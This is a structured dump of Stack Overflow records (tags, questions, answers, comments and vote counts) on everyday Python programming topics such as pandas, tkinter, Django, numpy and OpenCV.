has comment: http://stackoverflow.com/comment/81631955
has answer: http://stackoverflow.com/a/47340771
tagged with: middleware

python-3.x
tags question: http://stackoverflow.com/q/47272291
tags question: http://stackoverflow.com/q/47271419
tags question: http://stackoverflow.com/q/47229041
tags question: http://stackoverflow.com/q/47230807
tags question: http://stackoverflow.com/q/47363925
tags question: http://stackoverflow.com/q/47234657
tags question: http://stackoverflow.com/q/47310244
tags question: http://stackoverflow.com/q/47233419
tags question: http://stackoverflow.com/q/47253638
tags question: http://stackoverflow.com/q/47347286
tags question: http://stackoverflow.com/q/47250629
tags question: http://stackoverflow.com/q/47250956
tags question: http://stackoverflow.com/q/47232558
tags question: http://stackoverflow.com/q/47254755
tags question: http://stackoverflow.com/q/47376430
tags question: http://stackoverflow.com/q/47375719
tags question: http://stackoverflow.com/q/47300073
tags question: http://stackoverflow.com/q/47297175
tags question: http://stackoverflow.com/q/47225783
tags question: http://stackoverflow.com/q/47250213
tags question: http://stackoverflow.com/q/47342645
tags question: http://stackoverflow.com/q/47232843
tags question: http://stackoverflow.com/q/47324773
tags question: http://stackoverflow.com/q/47308430
tags question: http://stackoverflow.com/q/47311024
tags question: http://stackoverflow.com/q/47312868
tags question: http://stackoverflow.com/q/47255517
tags question: http://stackoverflow.com/q/47341672
tags question: http://stackoverflow.com/q/47295886
tags question: http://stackoverflow.com/q/47245782
tags question: http://stackoverflow.com/q/47260451
tags question: http://stackoverflow.com/q/47309792
tags question: http://stackoverflow.com/q/47314343
tags question: http://stackoverflow.com/q/47372768
tags question: http://stackoverflow.com/q/47294554
tags question: http://stackoverflow.com/q/47252978
tags question: http://stackoverflow.com/q/47361396
tags question: http://stackoverflow.com/q/47274326
tags question: http://stackoverflow.com/q/47246867
tags question: http://stackoverflow.com/q/47228371
tags question: http://stackoverflow.com/q/47360506
tags question: http://stackoverflow.com/q/47359528
tags question: http://stackoverflow.com/q/47381136
tags question: http://stackoverflow.com/q/47376050
tags question: http://stackoverflow.com/q/47305826
tags question: http://stackoverflow.com/q/47291975
tags question: http://stackoverflow.com/q/47317921
tags question: http://stackoverflow.com/q/47248297
tags question: http://stackoverflow.com/q/47369438
tags question: http://stackoverflow.com/q/47291633
tags question: http://stackoverflow.com/q/47243567
tags question: http://stackoverflow.com/q/47272045
tags question: http://stackoverflow.com/q/47307587
tags question: http://stackoverflow.com/q/47339220
tags question: http://stackoverflow.com/q/47316043
tags question: http://stackoverflow.com/q/47225013
tags question: http://stackoverflow.com/q/47301667
tags question: http://stackoverflow.com/q/47332924
tags question: http://stackoverflow.com/q/47279449
tags question: http://stackoverflow.com/q/47337819
tags question: http://stackoverflow.com/q/47322104
tags question: http://stackoverflow.com/q/47341726
tags question: http://stackoverflow.com/q/47266400
tags question: http://stackoverflow.com/q/47333192
tags question: http://stackoverflow.com/q/47249818
tags question: http://stackoverflow.com/q/47243490
tags question: http://stackoverflow.com/q/47286951
tags question: http://stackoverflow.com/q/47363894
tags question: http://stackoverflow.com/q/47336374
tags question: http://stackoverflow.com/q/47223844
tags question: http://stackoverflow.com/q/47303681
tags question: http://stackoverflow.com/q/47341320
tags question: http://stackoverflow.com/q/47334185
tags question: http://stackoverflow.com/q/47275828
tags question: http://stackoverflow.com/q/47364804
tags question: http://stackoverflow.com/q/47372969
tags question: http://stackoverflow.com/q/47328798
tags question: http://stackoverflow.com/q/47232227
tags question: http://stackoverflow.com/q/47362902
tags question: http://stackoverflow.com/q/47304653

http://stackoverflow.com/comment/81404512
has text: Does this work for you? `import telnetlib; tn = telnetlib.Telnet('bofh.jeffballard.us', 666); print(tn.read_all().decode()); tn.close()`
comment on: http://stackoverflow.com/q/47226895
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81594562
type: AnswerComment
has text: This IS one line! One could hope for more, as you say, but this is quite good!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47321851

http://stackoverflow.com/comment/81663374
has text: Change the `e.widget.quit()` to `e.widget.destroy()` in your button so you only exit the mainloop.
comment on: http://stackoverflow.com/q/47355238
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/47355406
has body: budgets = [-1075,1225,4239,6084,1489,4031,1846,600,-6409,-19262,-14011,-12969,-9220,-10453,-10315,-3500,-1500,600,600,900] years = [2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019] nodef = [] for budget, year in zip(budgets, years): if budget &lt; 0: nodef.append(year) print(nodef)
type: Answer
has comment: http://stackoverflow.com/comment/81663228
answers question: http://stackoverflow.com/q/47355269
score: 0

http://stackoverflow.com/comment/81464171
type: Comment
type: QuestionComment
has text: The indentation of the code in your question is messed-up—please [edit] your question and fix it.
score: 0
comment on: http://stackoverflow.com/q/47256632

http://stackoverflow.com/a/47321967
downvote count: 0
answers question: http://stackoverflow.com/q/47321797
type: Answer
score: 3
has body: EDIT : df.Zulu=df.Zulu.mask(df.Zulu.lt(0)) df.Zulu=df.set_index(['Alpha','Beta']).Zulu.fillna(df.set_index(['Alpha','Beta']).dropna().Zulu).values df Out[89]: Alpha Beta Year Zulu 0 C G Base 1.0 1 B F 88 2.0 2 C G 94 1.0 3 D H 22 4.0 4 A A Base 5.0 5 A A 66 5.0
upvote count: 3

http://stackoverflow.com/a/47251271
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47250816
has body: you can find everything in the Python documentation: https://docs.python.org/3/tutorial/classes.html?highlight=class%20attributes%20access#class-objects So you need just create and then call class's attributes. Also you could use the best python practice DRY (don't repeat yourself) and merge two 'if' statements in def sign_up3 like this: 'if ag1 > 90 and ag1 &lt; 16' (another and shorter way is 'if 16 &lt; ag1 &lt; 90') Hope it helped anyhow. best regards and good luck. P.S.: please, use the indentations.
type: Answer
answers question: http://stackoverflow.com/q/47250816
score: 0

http://stackoverflow.com/a/47450458
downvote count: 0
has comment: http://stackoverflow.com/comment/81861901
has comment: http://stackoverflow.com/comment/81916431
has comment: http://stackoverflow.com/comment/81856713
type: Answer
has comment: http://stackoverflow.com/comment/81915837
has comment: http://stackoverflow.com/comment/81856564
has body: In raw_data, values for a form field are collected in a list. You want to work with data because its value is processed to its python representation. Most fields subclassing wtforms.fields.core.Field implements their own process_formdata method which fulfills this. Start by implementing a helper function that checks field data like so: def is_filled(data): if data == None: return False if data == '': return False if data == []: return False return True Note that data starts out set to the default value if a default value is specified in the field schema. In this case using raw_data is more correct. def is_filled(raw_data): try: value = raw_data[0] if value == '': return False except (IndexError, TypeError): return False return True Tests: &gt;&gt;&gt; is_filled(None) False &gt;&gt;&gt; is_filled([]) False &gt;&gt;&gt; is_filled(['',]) False
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47368054

http://stackoverflow.com/a/47314638
answers question: http://stackoverflow.com/q/47313838
type: Answer
has comment: http://stackoverflow.com/comment/81583832
has comment: http://stackoverflow.com/comment/81584554
score: 1
has body: Don't execute the merged summary operation in a separate sess.run. Try this instead: a_found, b_found, curr_cost, summary = sess.run([a, b, cost, merged_summary_op], feed_dict={x:x_train, y_prim: y_train}) After the session runs, you need to call the add_summary method of your FileWriter: writer.add_summary(summary) writer.flush()
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81538065
score: 0
type: Comment
has text: not Instagram or twitter, #tags don't work here.
type: QuestionComment
comment on: http://stackoverflow.com/q/47293584

http://stackoverflow.com/comment/81567030
comment on: http://stackoverflow.com/q/47307659
type: QuestionComment
has text: because dataframe operations are similar in r and python
score: 0
type: Comment

http://stackoverflow.com/comment/81495061
comment on: http://stackoverflow.com/a/47271902
score: 0
type: Comment
type: AnswerComment
has text: @miradulo Man , I mean you were right for sure :-) , I always appreciated those people who help me improved :-),take it easy

http://stackoverflow.com/comment/81499209
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47273901
has text: `dob` returns a string (i.e. "07-03-1990"). So you can't just say `if dob:`. You would say `if dob == datetime.datetime.strptime(dob, '%d-%m-%y'):`
score: 0

http://stackoverflow.com/a/47256241
has comment: http://stackoverflow.com/comment/81463665
has comment: http://stackoverflow.com/comment/87581376
score: 28
has comment: http://stackoverflow.com/comment/124922833
has body: You can use pd.to_datetime's format arg: In [11]: s = pd.Series(["29062017", "01AUG2017"]) In [12]: pd.to_datetime(s, format="%d%m%Y", errors="coerce") Out[12]: 0 2017-06-29 1 NaT dtype: datetime64[ns] In [13]: pd.to_datetime(s, format="%d%b%Y", errors="coerce") Out[13]: 0 NaT 1 2017-08-01 dtype: datetime64[ns] Note: the coerce argument means that failures will be NaT. and fill in the NaNs from one into the other e.g. using fillna: In [14]: pd.to_datetime(s, format="%d%m%Y", errors="coerce").fillna( ...: pd.to_datetime(s, format="%d%b%Y", errors="coerce")) Out[14]: 0 2017-06-29 1 2017-08-01 dtype: datetime64[ns] Any strings that don't match either format will remain NaT.
has comment: http://stackoverflow.com/comment/81465002
type: Answer
answers question: http://stackoverflow.com/q/47256212
upvote count: 28
has comment: http://stackoverflow.com/comment/81463690
has comment: http://stackoverflow.com/comment/81463497
downvote count: 0

http://stackoverflow.com/a/47278592
has body: Using astype() will work. In your code, you're not actually changing the dtype of your date columns. You have: df1['created_date'].astype(str) You need: df1['created_date'] = df1['created_date'].astype(str) Example: dates = pd.date_range("2000","2002",freq="A") data = {"created_date":dates, "value":range(len(dates))} df = pd.DataFrame(data) df created_date value 0 2000-12-31 0 1 2001-12-31 1 (df["created_date"].dtype # datetime64[ns] df["created_date"] = df["created_date"].astype(str) df["created_date"].dtype # object json.dumps(df.to_dict('records')) # '[{"created_date": "2000-12-31", "value": 0}, {"created_date": "2001-12-31", "value": 1}]'
has comment: http://stackoverflow.com/comment/81508404
has comment: http://stackoverflow.com/comment/81509310
has comment: http://stackoverflow.com/comment/81508744
has comment: http://stackoverflow.com/comment/81507977
type: Answer
has comment: http://stackoverflow.com/comment/81507871
has comment: http://stackoverflow.com/comment/81508301
score: 0
has comment: http://stackoverflow.com/comment/81509119
has comment: http://stackoverflow.com/comment/81508222
answers question: http://stackoverflow.com/q/47278408
has comment: http://stackoverflow.com/comment/81508041
has comment: http://stackoverflow.com/comment/81509355

http://stackoverflow.com/comment/81402431
type: AnswerComment
comment on: http://stackoverflow.com/a/47226044
type: Comment
has text: `self.name` refers to the same attribute in `Parent` and `Child` classes. I don't think its possible to modify one without the other.
score: 0

http://stackoverflow.com/q/47232051
tagged with: importerror
score: 0
has comment: http://stackoverflow.com/comment/81415249
answer count: 1
has body: I am playing around with the AIMA python project, but I'm having trouble with importing the logic.py file into main.py. The following is folder structure: project/ aima/ __init__.py utils.py logic.py main.py I added the folder to my python path variable. Every time I do # main.py import aima.logic as logic I get this error: File "main.py", line 2, in import aima.logic as logic File "/project/aima/logic.py", line 34, in from utils import ( ImportError: No module named 'utils' I thought this was strange since logic.py imports the utils file it should be fine since they are under the same directory. I tried searching for answers, but most of them mention adding to python module search path and adding __init__.py and do not work for me.
type: Question
has title: ImportError when importing file from another directory
has comment: http://stackoverflow.com/comment/81415063
tagged with: python-import
has answer: http://stackoverflow.com/a/47232144
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47232144

http://stackoverflow.com/q/47346882
has body: I am engaged in video processing and faced the problem of converting the avi format to mkv. I try to solve this problem,with opencv library, but not one codec was able to record video in mkv format. Example fourcc = cv2.VideoWriter_fourcc(*'DIB ') out = cv2.VideoWriter('output.mkv', fourcc, 20.0, (frames[0].shape[1], frames[0].shape[0])) for frame in frames: out.write(frame) out.release() enter code here After that I found the library ffmpy it can convert from any format to any. I decided that I will save the result of my processing in avi format, and then convert to mkv using this code def convertVideo(): ff = ffmpy.FFmpeg( inputs={'output.avi': None}, outputs={'output.mkv': None} ) ff.run() This fragment really converts avi to mkv, but if the avi file is created with opencv, then the conversion does not work. How to write a file in mkv format on WindowsOS using opencv and python? Can I convert a file received by opencv in avi format to mkv format using ffmpy?
has comment: http://stackoverflow.com/comment/81646620
type: Question
tagged with: ffmpeg
type: UnansweredQuestion
tagged with: mkv
has title: How to convert video from avi to mkv via python
tagged with: python
has comment: http://stackoverflow.com/comment/81646571
tagged with: opencv
score: 0
tagged with: avi
answer count: 0
has comment: http://stackoverflow.com/comment/81646333

http://stackoverflow.com/comment/81666836
has text: @leekaiinthesky Sorry about that!
comment on: http://stackoverflow.com/a/47357033
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/47371388
upvote count: 2
has comment: http://stackoverflow.com/comment/81695830
downvote count: 0
has comment: http://stackoverflow.com/comment/81695554
type: AcceptedAnswer
has body: Python is written in C and as such it won't run C++ constructors/destructors for you. And without them std::mutex is just a meaningless struct which will crash when used. What you need is placement new somewhere (after allocating self?): self = ( sLeddarDevice * )type-&gt;tp_alloc( type, 0 ); new (self) sLeddarDevice {}; The second line calls the constructor of sLeddarDevice on self without allocating memory. That constructor will call constructors of each member as well. You also have to manually call destructors when done: self-&gt;~sLeddarDevice(); You should always do that when combining C++ with Python. Otherwise in best case scenario you will leak memory. In worse case encounter undefined behaviour with random crashes.
accepted answer of: http://stackoverflow.com/q/47371211
answers question: http://stackoverflow.com/q/47371211
has comment: http://stackoverflow.com/comment/81695795
type: Answer
has comment: http://stackoverflow.com/comment/81695840
has comment: http://stackoverflow.com/comment/81695884
has comment: http://stackoverflow.com/comment/81695639
score: 2

http://stackoverflow.com/q/47225724
tagged with: for-loop
has body: I have two nested loop that takes so long. Is there any way that I can make it faster ? Here is my code : for i in range (start, start+fin): for j in range (0, start+fin): tuple = ( i, j , matrice[i][j], tf) listeA.append(tuple) for i in range (0, start): for j in range (start, start+fin): tuple = ( i, j , matrice[i][j], tf) listeA.append(tuple) Thank you for your help.
answer count: 3
has answer: http://stackoverflow.com/a/47226005
has comment: http://stackoverflow.com/comment/81401677
tagged with: nested
has answer: http://stackoverflow.com/a/47226291
type: Question
has comment: http://stackoverflow.com/comment/81401645
has comment: http://stackoverflow.com/comment/81401815
has comment: http://stackoverflow.com/comment/81401675
type: UnansweredQuestion
has title: Python long nested loop
tagged with: python
has answer: http://stackoverflow.com/a/47225771
has comment: http://stackoverflow.com/comment/81401839
score: 0

http://stackoverflow.com/comment/81680022
comment on: http://stackoverflow.com/q/47363499
type: Comment
score: 0
type: QuestionComment
has text: What is the type of the `df1` column in the `PLCValues` table?

django-models
tag name: django-models
tags question: http://stackoverflow.com/q/47276227
tags question: http://stackoverflow.com/q/47340648
tags question: http://stackoverflow.com/q/47272676
tags question: http://stackoverflow.com/q/47372383
tags question: http://stackoverflow.com/q/47369809
tags question: http://stackoverflow.com/q/47370953
tags question: http://stackoverflow.com/q/47329605
tags question: http://stackoverflow.com/q/47295781
tags question: http://stackoverflow.com/q/47328813
tags question: http://stackoverflow.com/q/47362902
tags question: http://stackoverflow.com/q/47265385
tags question: http://stackoverflow.com/q/47369930
tags question: http://stackoverflow.com/q/47374165
tags question: http://stackoverflow.com/q/47307188
tags question: http://stackoverflow.com/q/47326679
tags question: http://stackoverflow.com/q/47286536
tags question: http://stackoverflow.com/q/47320592
tags question: http://stackoverflow.com/q/47334810
tags question: http://stackoverflow.com/q/47234797
tags question: http://stackoverflow.com/q/47267765
tags question: http://stackoverflow.com/q/47333886
tags question: http://stackoverflow.com/q/47256177
tags question: http://stackoverflow.com/q/47358782
tags question: http://stackoverflow.com/q/47229276
tags question: http://stackoverflow.com/q/47288909
tags question: http://stackoverflow.com/q/47284640
tags question: http://stackoverflow.com/q/47267272
tags question: http://stackoverflow.com/q/47250398
tags question: http://stackoverflow.com/q/47225719
tags question: http://stackoverflow.com/q/47308574
tags question: http://stackoverflow.com/q/47302370
tags question: http://stackoverflow.com/q/47267275
tags question: http://stackoverflow.com/q/47371579
tags question: http://stackoverflow.com/q/47321634
tags question: http://stackoverflow.com/q/47364215
tags question: http://stackoverflow.com/q/47236667
tags question: http://stackoverflow.com/q/47239403
tags question: http://stackoverflow.com/q/47324895
type: Tag
tags question: http://stackoverflow.com/q/47362946

http://stackoverflow.com/q/47235042
tagged with: bash
has comment: http://stackoverflow.com/comment/81420689
has comment: http://stackoverflow.com/comment/81420550
accepted answer: http://stackoverflow.com/a/47241697
has title: running python3 app at start up of Linux
has comment: http://stackoverflow.com/comment/81421123
type: Question
tagged with: linux
has comment: http://stackoverflow.com/comment/81420645
has answer: http://stackoverflow.com/a/47241697
tagged with: python
has body: I have the following script #!/bin/bash echo "Welcome to auto shell" cd /home/pi/Desktop/Home echo "Running the server now.....!" echo "*************************" |&amp; tee -a /home/pi/Desktop/Home/logs.log echo "Today is " |&amp; tee -a /home/pi/Desktop/Home/logs.log date |&amp; tee -a /home/pi/Desktop/Home/logs.log python3 Server.py |&amp; tee -a /home/pi/Desktop/Home/logs.log But the output is : Today is Sat Nov 11 01:03:46 EST 2017 Traceback (most recent call last): File "Server.py", line 1, in &lt;module&gt; import radiojavan as rj File "/home/pi/Desktop/Home/radiojavan.py", line 2, in &lt;module&gt; import pyautogui as gui File "/home/pi/.local/lib/python3.5/site-packages/pyautogui/__init__.py", line 115, in &lt;module&gt; from . import _pyautogui_x11 as platformModule File "/home/pi/.local/lib/python3.5/site-packages/pyautogui/_pyautogui_x11.py", line 160, in &lt;module&gt; _display = Display(os.environ['DISPLAY']) File "/usr/lib/python3.5/os.py", line 725, in __getitem__ raise KeyError(key) from None KeyError: 'DISPLAY' the app has no problem running when I manually run it by typing python3 Server.py UPDATE: Clarification to the post I need the app to start running after the user pi logged in because it will need to get access to chrome
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47235149
possible better answer: http://stackoverflow.com/a/47235149
score: 0
answer count: 2

http://stackoverflow.com/comment/81424097
has text: I doit aand get the same error; AttributeError: 'module' object has no attribute 'authorize'
comment on: http://stackoverflow.com/a/47236637
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81685046
comment on: http://stackoverflow.com/a/47360954
type: Comment
score: 0
has text: @Rael Thanks for the accept. Just a remark in case you are still thinking of going to C (I recommend Cython, in my experience it interfaces painlessly with numpy and is more mature than its version number might suggest) In that case the code can be heavily simplified. Basically you don't need to chunk and also not to mask and reindex, instead you just loop over the rows of `a` and do the short-circuiting for each row in one go.
type: AnswerComment

python-playsound
tags question: http://stackoverflow.com/q/47270354
type: Tag
tag name: python-playsound

http://stackoverflow.com/comment/114496778
comment on: http://stackoverflow.com/a/47244284
has text: gives me a false negative with shapes (30, 1, 2) and (3,2). These arrays are broadcastable, yet this snippet returns false.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47305922
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47306106
accepted answer: http://stackoverflow.com/a/47306106
tagged with: arguments
tagged with: python
linked to: http://stackoverflow.com/q/43957034
upvote count: 4
score: 4
type: Question
linked to: http://stackoverflow.com/q/6009589
answer count: 3
downvote count: 0
has title: How can I assert that the argument only contains listed integers in Python
has body: I have a method in Python and I only want to accept integers listed or singular, how can I define this? def autoInt(integers): assert int(integers) assert len(integers) &gt; 0 This fails as I cannot have a list. I'm sure it's something easy. TypeError: int() argument must be a string or a number, not 'list' Edit: I have been tasked so that this method can ONLY accept integers in a list.
possible better answer: http://stackoverflow.com/a/47306080
has answer: http://stackoverflow.com/a/47306103
favorite count: 0
has comment: http://stackoverflow.com/comment/81562473
has answer: http://stackoverflow.com/a/47306080
tagged with: type-conversion
tagged with: int

http://stackoverflow.com/comment/81472666
type: Comment
comment on: http://stackoverflow.com/q/47227065
type: QuestionComment
has text: But how would I query the Windows API via python?
score: 0

http://stackoverflow.com/a/47345738
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/81643113
answers question: http://stackoverflow.com/q/47345561
has comment: http://stackoverflow.com/comment/81646067
has body: I don't think your code follows the given code from codeacacdemy .This is somewhat closer to the code from codeacademy y = 10 factor_array = [x for x in range(2,y) if y%x == 0 ] if not factor_array : print("prime") else : print ("composite")
score: 1
has comment: http://stackoverflow.com/comment/81643172
downvote count: 1

http://stackoverflow.com/q/47241677
has answer: http://stackoverflow.com/a/47241846
downvote count: 1
favorite count: 0
type: Question
has body: In this paragraph, one can find the following sentence (my emphasis): Names listed in a nonlocal statement, unlike those listed in a global statement, must refer to pre-existing bindings in an enclosing scope (the scope in which a new binding should be created cannot be determined unambiguously). I take the bold-ed sentence in the parenthesis to explain the previous sentence meaning that in order for a nonlocal statement such as nonlocal a to be correct, a statement such as a = 1 should have problems deciding in what namespace to add (or modify) the binding, either in the local namespace or in an enclosing namespace (because there exists such a namespace already containing the binding for name a). Is this correct, is that the intention? If yes, I believe that the wording (in the parenthesis) would hold even for cases in which a is global, as "the scope in which a new binding should be created cannot be determined unambiguously", which is not intended. Am I correct?
tagged with: python
tagged with: scope
has title: Python Reference Language: nonlocal definition
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47241846
answer count: 1
upvote count: 1

http://stackoverflow.com/q/47274697
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81571945
has title: Can we call the button using select(A single selection widget) in bokeh?
has body: https://docs.bokeh.org/en/latest/docs/user_guide/interaction/widgets.html (You can see select) I want to call a button, text input and slider in using select. plot_button = Button(label="plot") color_button = Button(label="Color", disabled=True) axis_start_value_text = TextInput(title=" Start value=", value="270") axis_slider = Slider(value=0, start=0, end=100, step=1, title="Title") button_map = { "plot": plot_button, "Color": color_button, "Start value": axis_start_value_text, "Slider": axis_slider } button_call = Select(title="Button call", options=sorted(button_map.keys()), value="plot") In the Select button, when I click on a button, text_input and slider the button appears on the screen that I clicked. İs it possible?
has comment: http://stackoverflow.com/comment/81542230
tagged with: python-3.x
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47313851
tagged with: python
tagged with: bokeh
has comment: http://stackoverflow.com/comment/81588381
has answer: http://stackoverflow.com/a/47313851
type: Question
has comment: http://stackoverflow.com/comment/81572043
tagged with: python-2.7

http://stackoverflow.com/comment/81613663
score: 0
type: AnswerComment
has text: is there any other way to convert the large CSV file to excel throw python code only.?
comment on: http://stackoverflow.com/a/47330861
type: Comment

http://stackoverflow.com/a/47274372
has body: Your code does work without calling update. It's just that you can't see it working because you don't let tkinter refresh the window. In order for tkinter (or any GUI toolkit) to function, it must be able to respond to a steady stream of events. Things like button clicks, typing, resizing a window, or drawing to a canvas, all cause events to be added to a queue. Normally these events are processed by the event loop, which is what mainloop is. It is a loop that simply waits for events to arrive, and then it handles them. Because tkinter is single-threaded, it can only do one thing at a time. Thus, as long as your code is doing something (eg: your for loop), it is unable to process events. If it can't process events, any changes to the UI (such as drawing on the canvas) won't be visible. When you call update, you are requesting that tkinter process all pending events that are stuck in the event queue. Note that this processes all events in the queue, so if you clicked in a button, that click will get processed too. This can result in a deeply nested set of calls to update if each time you call, it processes an event that causes it to be called again. Since what you want is not to process all events, but rather just events related to refreshing the display, you can instead call update_idletasks which only processes "idle" events. "idle" events are events that tkitner processes when it is otherwise idle. One such event is the request to refresh the display.
score: 3
accepted answer of: http://stackoverflow.com/q/47273825
type: Answer
upvote count: 3
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47273825

http://stackoverflow.com/comment/81535982
comment on: http://stackoverflow.com/q/47292736
type: QuestionComment
type: Comment
score: 0
has text: `for i in losers` does **not** generates **indices**, but the **elements** of `losers`.

http://stackoverflow.com/comment/81703496
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47375527
score: 0
has text: @AyushSaxena Say you're wanting to convert an unsigned integer to a string. You'd want to loop until the integer is 0, performing divmod on it: assign the result of the division to the integer, print the result of the mod, as it's the digit.

http://stackoverflow.com/q/47235296
tagged with: string
has body: I want to match any number of digits, decimal points, and the letter e, or ONE CHARACTER in this list of characters when it occurs in a string: + - % ^ * / ( ) then I want to break the subject string into a list containing each individual match. I have the following Regex to attempt to accomplish this, which I'm fairly certain it does correctly: ([0-9.e]+|[\^\*\/\%\+\-\(\)]) I even went on regex101.com and tested it, and it properly matches how I want it to: However, when I run re.findall() on the following string (5+2)*5 it returns me the following list: ['(', '5', '+', '2', u')*', '5'] What is wrong with my regex?
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion
tagged with: python
downvote count: 1
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81423125
has comment: http://stackoverflow.com/comment/81428159
has title: Splitting string with regex and re.findall
tagged with: regex

http://stackoverflow.com/q/47237690
has title: Python tkinter save new results in text file
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81485500
tagged with: python
score: -1
tagged with: load
has answer: http://stackoverflow.com/a/47286461
tagged with: tkinter
tagged with: overwrite
has comment: http://stackoverflow.com/comment/81485876
upvote count: 0
type: UnansweredQuestion
answer count: 1
has body: I would like to ask a question about loading a certain txt file in python with tkinter, or any other method that I could use. Here is the "test" program that I made.enter image description here Every button calculates a certain percentage of the entered number. After I enter a number and calculate the percentage of that number, say I enter 100 and 80% of that is 80. The result is displayed, and after that I would like to save that result in a text file, using "Add new max" button. After the result is saved when I open the program it should display "Current max: 80". So basically save the calculated result and display it every time I open the program. Say that the "current saved result" is 80 and I calculate a new one which is greater than current result(80) and it is thus replaced. In the image that I attached: test1 = x and if the new value that I enter is greater than x, that x should be replaced by new value. (ignore test2, test3) What should I use in order to do that? Thank you guys in advance!
downvote count: 1

http://stackoverflow.com/comment/81504317
type: Comment
comment on: http://stackoverflow.com/q/47276494
type: QuestionComment
score: 0
has text: it should return [a, c] @BoboCarr

http://stackoverflow.com/comment/81762254
has text: Both are valid. I am sleeping. Good night! It is 03:28 AM in Tirana, Albania.
type: Comment
comment on: http://stackoverflow.com/a/47354114
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81616674
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47332802
type: Comment
has text: It tells you how to use msiexec, which most likely means you made a mistake in the command line. Maybe it does not like TARGETDI**T**?

http://stackoverflow.com/a/47310143
accepted answer of: http://stackoverflow.com/q/47309533
has body: This has little or nothing to do with annotate. Dictionaries in Python have no conventional sense of ordering (at least not until Python 3.6), and keys can be ordered differently across different queryset results. And this constitutes little or not problem since you'll be access required values by key and not serially (as with sequences): for obj_dct in your_qs: print(obj_dct[some_key]) If your plot function takes dicts, no need to worry about ordering.
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81572095
answers question: http://stackoverflow.com/q/47309533
type: Answer

url
tags question: http://stackoverflow.com/q/47307600
tags question: http://stackoverflow.com/q/47253043
tags question: http://stackoverflow.com/q/47289351
tag name: url
tags question: http://stackoverflow.com/q/47309734
tags question: http://stackoverflow.com/q/47305913
tags question: http://stackoverflow.com/q/47244754
tags question: http://stackoverflow.com/q/47228529
tags question: http://stackoverflow.com/q/47288737
type: Tag
tags question: http://stackoverflow.com/q/47347557

http://stackoverflow.com/a/47371483
has comment: http://stackoverflow.com/comment/81695947
accepted answer of: http://stackoverflow.com/q/47371439
type: Answer
has body: With numpy.clip (using the method version here): a.clip(max=np.array([3, 4, 3])[:, None]) # np.clip(a, ...) # array([[1, 3, 2, 3], # [3, 1, 4, 4], # [3, 3, 1, 2]]) Generalized: def clip_2d_rows(a, maxs): maxs = np.asanyarray(maxs) if maxs.ndim == 1: maxs = maxs[:, np.newaxis] return np.clip(a, a_min=None, a_max=maxs) You might be safer using the module-level function (np.clip) rather than the class method (np.ndarray.clip). The former uses a_max as a parameter, while the latter uses the builtin max as a parameter which is never a great idea.
has comment: http://stackoverflow.com/comment/81695813
answers question: http://stackoverflow.com/q/47371439
has comment: http://stackoverflow.com/comment/81695933
score: 3
has comment: http://stackoverflow.com/comment/81695974
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81695702

http://stackoverflow.com/q/47276966
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47277008
tagged with: django-rest-framework
answer count: 1
favorite count: 0
has title: TypeError: get_serializer_class() missing 1 required positional argument: 'self'
type: Question
tagged with: django
tagged with: python
has body: I get error when I use the view's function, the bellow is my traceback: File "/Users/xxx/Desktop/xxx/Project/xxx/qiyun_admin_usermanage/api/views.py", line 40, in &lt;module&gt; class UserListAPIView(ListAPIView): File "/Users/xxx/Desktop/xxx/Project/xxx/qiyun_admin_usermanage/api/views.py", line 59, in UserListAPIView serializer_class = get_serializer_class() TypeError: get_serializer_class() missing 1 required positional argument: 'self' My views.py code ie bellow: class UserListAPIView(ListAPIView): """ """ queryset = User.objects.filter(is_admin=False, is_staff=False, is_superuser=False).exclude(status=4) filter_backends = [SearchFilter, OrderingFilter] search_fields = ['username', 'qq', 'email'] pagination_class = UserPageNumberPagination class Meta: ordering = ['-id'] def get_serializer_class(self): if self.request.user.is_superuser: return UserAdminListSerializer else: return UserListSerializer serializer_class = get_serializer_class() # this is the line 59 And if I write this line serializer_class = get_serializer_class() to in the front of def get_serializer_class(self): method, I will do not find error.
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47277008

http://stackoverflow.com/q/47342718
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81638003
has title: Python - Save dataframe to CSV "too many indices for array" error
